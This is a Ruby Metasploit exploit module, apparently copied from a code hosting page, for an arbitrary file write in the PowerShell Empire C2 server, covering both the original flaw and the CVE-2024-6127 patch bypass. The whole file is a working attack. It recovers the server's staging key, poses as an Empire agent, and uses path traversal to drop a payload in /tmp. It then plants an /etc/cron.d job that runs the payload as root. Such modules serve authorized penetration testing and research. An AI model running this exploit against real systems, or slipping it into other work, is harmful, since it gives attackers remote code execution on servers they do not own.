Takah1ro
425 lines
17 KiB
Ruby
425 lines
17 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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GENERATOR = 2
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PRIME = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF
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KEYLENGTH = 540
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STAGE0 = 1
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STAGE1 = 2
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STAGE2 = 3
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RESULT_POST = 5
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TASK_DOWNLOAD = 41
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
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'Description' => %q{
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A vulnerability existed in
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the new Empire (maintained by BC Security) prior to commit e73e883 (<v5.9.3) or
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the original PowerShellEmpire server prior to commit f030cf62
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which would allow an arbitrary file to be written to an
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attacker controlled location with the permissions of the Empire server.
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This exploit will write the payload to /tmp/ directory followed by a
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cron.d file to execute the payload.
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},
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'Author' =>
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[
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'Spencer McIntyre', # Vulnerability discovery & original Metasploit module
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'Erik Daguerre', # Original Metasploit module
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'ACE-Responder', # Patch bypass discovery & Python PoC
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'Takahiro Yokoyama' # Update Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' => [
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['CVE', '2024-6127'], # patch bypass
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['URL', 'https://blog.harmj0y.net/empire/empire-fails/'], # original http://www.harmj0y.net/blog/empire/empire-fails/ is not found.
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['URL', 'https://aceresponder.com/blog/exploiting-empire-c2-framework'], # patch bypass
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['URL', 'https://github.com/ACE-Responder/Empire-C2-RCE-PoC/tree/main'] # patch bypass
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],
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'Payload' =>
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{
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'DisableNops' => true,
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},
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'Platform' => %w{ linux python },
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'Targets' =>
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[
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[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
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[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
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[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
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],
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'DefaultOptions' => { 'WfsDelay' => 75 },
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'DefaultTarget' => 0,
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'DisclosureDate' => '2016-10-15',
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'Notes' =>
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{
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'Stability' => [ CRASH_SAFE, ],
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'SideEffects' => [ ARTIFACTS_ON_DISK, ],
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'Reliability' => [ REPEATABLE_SESSION, ],
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},
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))
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register_options(
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[
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Opt::RPORT(8080),
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# original
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OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
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OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
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OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
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OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]),
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# patch bypass
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OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2024-6127', ['CVE-2024-6127', 'Original']]),
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OptString.new('STAGE_PATH', [ true, 'The Empire\'s staging path, default is login/process.php', 'login/process.php' ]),
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OptString.new('AGENT', [ true, 'The Empire\'s communication profile agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'])
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])
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end
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def check
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return Exploit::CheckCode::Safe if get_staging_key.nil?
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Exploit::CheckCode::Appears
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end
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def aes_encrypt(key, data, include_mac=false)
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cipher = OpenSSL::Cipher.new('aes-256-cbc')
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cipher.encrypt
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iv = cipher.random_iv
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cipher.key = key
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cipher.iv = iv
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data = iv + cipher.update(data) + cipher.final
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digest = OpenSSL::Digest.new('sha1')
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data << OpenSSL::HMAC.digest(digest, key, data) if include_mac
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data
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end
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def create_packet(res_id, data, counter=nil)
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data = Rex::Text::encode_base64(data)
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counter = Time.new.to_i if counter.nil?
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[ res_id, counter, data.length ].pack('VVV') + data
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end
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def reversal_key
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# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
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[
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[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
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[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
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[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
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[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
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]
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end
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def rsa_encode_int(value)
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encoded = []
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while value > 0 do
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encoded << (value & 0xff)
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value >>= 8
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end
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Rex::Text::encode_base64(encoded.reverse.pack('C*'))
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end
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def rsa_key_to_xml(rsa_key)
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rsa_key_xml = "<RSAKeyValue>\n"
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rsa_key_xml << " <Exponent>#{ rsa_encode_int(rsa_key.e.to_i) }</Exponent>\n"
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rsa_key_xml << " <Modulus>#{ rsa_encode_int(rsa_key.n.to_i) }</Modulus>\n"
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rsa_key_xml << "</RSAKeyValue>"
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rsa_key_xml
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end
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def get_staging_key
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# patch bypass
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if datastore['CVE'] == 'CVE-2024-6127'
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'download/python/')
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})
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return unless res and res.code == 200
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match = /IV\+\'(.*)\'\.encode/.match(res.body)
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return match[1].bytes if match
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return
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end
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# STAGE0_URI resource requested by the initial launcher
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# The default STAGE0_URI resource is index.asp
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# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
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})
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return unless res and res.code == 200
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staging_key = Array.new(32, nil)
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staging_data = res.body.bytes
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reversal_key.each_with_index do |(pos, char_code), key_pos|
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staging_key[key_pos] = staging_data[pos] ^ char_code
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end
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return if staging_key.include? nil
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# at this point the staging key should have been fully recovered but
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# we'll verify it by attempting to decrypt the header of the stage
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decrypted = []
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staging_data[0..23].each_with_index do |byte, pos|
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decrypted << (byte ^ staging_key[pos])
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end
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return unless decrypted.pack('C*').downcase == 'function start-negotiate'
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staging_key
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end
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def write_file(path, data, session_id, session_key, opts)
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if datastore['CVE'] == 'CVE-2024-6127'
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write_file_cve_2024_6127(path, data, session_id, session_key, opts[:staging_key])
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return
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end
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server_epoch = opts[:server_epoch]
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# target_url.path default traffic profile for empire agent communication
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# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
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data = create_packet(
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TASK_DOWNLOAD,
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[
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'0',
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session_id + path,
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Rex::Text::encode_base64(data)
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].join('|'),
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server_epoch
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)
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if datastore['PROFILE'].blank?
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profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample)
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else
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profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
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end
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res = send_request_cgi({
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'cookie' => "SESSIONID=#{session_id}",
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'data' => aes_encrypt(session_key, data, include_mac=true),
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'method' => 'POST',
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'uri' => normalize_uri(profile_uri)
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})
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fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200
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res
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end
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def cron_file(command)
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cron_file = 'SHELL=/bin/sh'
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cron_file << "\n"
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cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
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cron_file << "\n"
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cron_file << "* * * * * root #{command}"
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cron_file << "\n"
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cron_file
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end
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def exploit
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vprint_status('Recovering the staging key...')
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staging_key = get_staging_key
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if staging_key.nil?
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fail_with(Failure::Unknown, 'Failed to recover the staging key')
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end
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vprint_good("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
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staging_key = staging_key.pack('C*')
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case datastore['CVE']
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when 'CVE-2024-6127'
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# stage0
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# This stage is unnecessary for our purposes.
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session_id = SecureRandom.alphanumeric(8).upcase
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dummy = SecureRandom.alphanumeric(8)
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send_data_to_stage(staging_key, dummy, staging_key, STAGE0, session_id)
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# stage1
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private_key = SecureRandom.hex(KEYLENGTH).hex
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public_key = GENERATOR.pow(private_key, PRIME).to_s.encode("UTF-8")
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res = send_data_to_stage(staging_key, public_key, staging_key, STAGE1, session_id)
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fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res and res.code == 200
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vprint_good("Successfully sent the key to STAGE1")
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# decrypt the response and pull out the epoch and session_key
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packet = aes_decrypt(staging_key, res.body)
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nonce = packet[..15].to_i
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server_pub = packet[16..].to_i
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sharedSecret = server_pub.pow(private_key, PRIME)
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# https://github.com/BC-SECURITY/Empire/blob/8aca42747da6cf2b0def7edede94586f6b3258e8/empire/server/common/encryption.py#L373
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# _sharedSecretBytes = self.sharedSecret.to_bytes(
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# len(bin(self.sharedSecret)) - 2 // 8 + 1, byteorder="big"
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# )
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# 2(0b) + 1(- 2 // 8 + 1) = 3
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_sharedSecret = to_bytes(sharedSecret, sharedSecret.to_s(2).length + 3, little_endian=false)
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sha = OpenSSL::Digest.new('sha256')
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sha.update(_sharedSecret)
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session_key = sha.digest
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print_good('Successfully negotiated an artificial Empire agent')
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# stage2
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sysinfo = "#{nonce+1}|#{datastore['RHOSTS']}:#{datastore['RPORT']}||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64".encode("UTF-8")
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res = send_data_to_stage(session_key, sysinfo, staging_key, STAGE2, session_id)
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fail_with(Failure::Unknown, "Failed to communicate with STAGE2") unless res and res.code == 200
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aes_decrypt(session_key, res.body)
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opts = { staging_key: staging_key }
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log_path = "/var/lib/powershell-empire/empire/server/downloads/#{session_id}/agent.log"
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else
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rsa_key = OpenSSL::PKey::RSA.new(2048)
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session_id = Array.new(50, '..').join('/')
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# STAGE1_URI, The resource used by the RSA key post
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# The default STAGE1_URI resource is index.jsp
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# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
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res = send_request_cgi({
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'cookie' => "SESSIONID=#{session_id}",
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'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
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})
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fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
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vprint_good("Successfully sent the RSA key")
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# decrypt the response and pull out the epoch and session_key
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body = rsa_key.private_decrypt(res.body)
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server_epoch = body[0..9].to_i
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session_key = body[10..-1]
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print_good('Successfully negotiated an artificial Empire agent')
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opts = { server_epoch: server_epoch }
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log_path = '/agent.log'
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end
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payload_data = nil
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payload_path = '/tmp/' + rand_text_alpha(8)
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case target['Arch']
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when ARCH_PYTHON
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cron_command = "python #{payload_path}"
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payload_data = payload.raw
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when ARCH_X86, ARCH_X64
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cron_command = "chmod +x #{payload_path} && #{payload_path}"
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payload_data = payload.encoded_exe
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end
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print_status("Writing payload to #{payload_path}")
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write_file(payload_path, payload_data, session_id, session_key, opts)
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cron_path = '/etc/cron.d/' + rand_text_alpha(8)
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print_status("Writing cron job to #{cron_path}")
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write_file(cron_path, cron_file(cron_command), session_id, session_key, opts)
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print_status("Waiting for cron job to run, can take up to 60 seconds")
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register_files_for_cleanup(cron_path)
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register_files_for_cleanup(payload_path)
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# Empire writes to a log file location based on the Session ID, so when
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# exploiting this vulnerability that file ends up in the root directory.
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register_files_for_cleanup(log_path)
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end
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def build_routing_packet(staging_key, meta = 0, enc_data = ''.b, session_id = '00000000')
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data = session_id + [2, meta, 0, enc_data.bytes.length].pack('C2SL')
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rc4_iv = SecureRandom.random_bytes(4)
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key = rc4_iv + staging_key
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rc4_enc_data = Rex::Crypto.rc4(key, data)
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rc4_iv + rc4_enc_data + enc_data
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end
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def aes_encrypt_then_hmac(key, data)
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data = aes_encrypt(key, data, include_mac=false)
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mac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, data)
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data + mac[..9]
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end
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def aes_decrypt(key, data)
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mac = data[-10..]
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sha256_digest = OpenSSL::Digest.new('sha256')
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expected = OpenSSL::HMAC.digest(sha256_digest, key, data[..-11])[..9]
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unless OpenSSL::HMAC.digest(sha256_digest, key, mac) == OpenSSL::HMAC.digest(sha256_digest, key, expected)
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raise "Invalid ciphertext received."
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end
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size = key.length * 8
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raise ArgumentError.new('AES key width must be 128 or 256 bits') unless (size == 128 || size == 256)
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# Create the required cipher instance
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aes = OpenSSL::Cipher.new("AES-#{size}-CBC")
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# Generate a truly random IV
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# set up the encryption
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aes.decrypt
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aes.key = key
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aes.iv = data[..15]
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# decrypt!
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aes.update(data[16..-11]) + aes.final
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end
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def compress(data)
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start_crc32 = Zlib.crc32(data) & 0xFFFFFFFF
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comp_data = Zlib::Deflate.deflate(data)
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Base64.strict_encode64([start_crc32].pack("N") + comp_data)
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end
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def build_response_packet(tasking_id, packet_data)
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packetType = [tasking_id].pack("S")
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totalPacket = [1].pack("S")
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packetNum = [1].pack("S")
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result_id = [1].pack("S")
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packet_data = Base64.strict_encode64(packet_data)
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if packet_data.length % 4 != 0
|
|
packet_data += "=" * (4 - packet_data.length % 4)
|
|
end
|
|
length = [packet_data.length].pack("L")
|
|
packetType + totalPacket + packetNum + result_id + length + packet_data
|
|
end
|
|
|
|
def to_bytes(n, length=1, little_endian=false)
|
|
order = little_endian ? (0...length) : (0...length).to_a.reverse
|
|
bytes_array = order.map { |i| (n >> i * 8) & 0xff }
|
|
bytes_array.pack('C*')
|
|
end
|
|
|
|
def write_file_cve_2024_6127(path, data, session_id, session_key, staging_key)
|
|
path = path.split("/").join("\\")
|
|
encodedPart = compress(data)
|
|
packet = build_response_packet(
|
|
TASK_DOWNLOAD,
|
|
[
|
|
'0',
|
|
Array.new(50, '..').join('\\') + path,
|
|
data.length.to_s,
|
|
compress(data)
|
|
].join('|')
|
|
)
|
|
send_data_to_stage(session_key, packet, staging_key, RESULT_POST, session_id)
|
|
end
|
|
|
|
def send_data_to_stage(session_key, packet, staging_key, task_id, session_id)
|
|
enc_packet = aes_encrypt_then_hmac(session_key, packet)
|
|
data = build_routing_packet(staging_key, task_id, enc_packet, session_id)
|
|
res = send_request_cgi({
|
|
'data' => data,
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
|
|
'headers' => {'Cookie' => datastore['AGENT']}
|
|
})
|
|
res
|
|
end
|
|
|
|
end
|